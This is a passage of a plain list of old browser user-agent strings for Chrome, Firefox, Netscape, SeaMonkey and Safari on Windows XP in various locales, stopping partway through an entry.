-Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) 